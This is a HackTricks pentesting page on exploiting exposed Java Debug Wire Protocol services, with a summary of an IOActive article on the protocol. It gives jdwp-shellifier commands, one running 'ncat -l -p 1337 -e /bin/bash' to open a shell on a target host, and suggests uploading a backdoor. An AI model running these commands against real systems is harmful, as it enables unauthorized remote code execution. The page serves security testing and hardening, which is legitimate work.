HackTricks Press
Search K

Appearance

Pentesting JDWP - Java Debug Wire Protocol ​

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Exploiting ​

JDWP exploitation hinges on the protocol's lack of authentication and encryption. It's generally found on port 8000, but other ports are possible. The initial connection is made by sending a "JDWP-Handshake" to the target port. If a JDWP service is active, it responds with the same string, confirming its presence. This handshake acts as a fingerprinting method to identify JDWP services on the network.

In terms of process identification, searching for the string "jdwk" in Java processes can indicate an active JDWP session.

The go-to tool is jdwp-shellifier. You can use it with different parameters:

bash
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

I found that the use of --break-on 'java.lang.String.indexOf' make the exploit more stable. And if you have the change to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.

More details ​

This is a summary of https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Check it for further details.

  1. JDWP Overview:

    • It's a packet-based network binary protocol, primarily synchronous.
    • Lacks authentication and encryption, making it vulnerable when exposed to hostile networks.

  2. JDWP Handshake:

    • A simple handshake process is used to initiate communication. A 14-character ASCII string “JDWP-Handshake” is exchanged between the Debugger (client) and the Debuggee (server).

  3. JDWP Communication:

    • Messages have a simple structure with fields like Length, Id, Flag, and CommandSet.
    • CommandSet values range from 0x40 to 0x80, representing different actions and events.

  4. Exploitation:

    • JDWP allows loading and invoking arbitrary classes and bytecode, posing security risks.
    • The article details an exploitation process in five steps, involving fetching Java Runtime references, setting breakpoints, and invoking methods.

  5. Real-Life Exploitation:

    • Despite potential firewall protections, JDWP services are discoverable and exploitable in real-world scenarios, as demonstrated by searches on platforms like ShodanHQ and GitHub.
    • The exploit script was tested against various JDK versions and is platform-independent, offering reliable Remote Code Execution (RCE).

  6. Security Implications:

    • The presence of open JDWP services on the internet underscores the need for regular security reviews, disabling debug functionalities in production, and proper firewall configurations.

References: ​

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: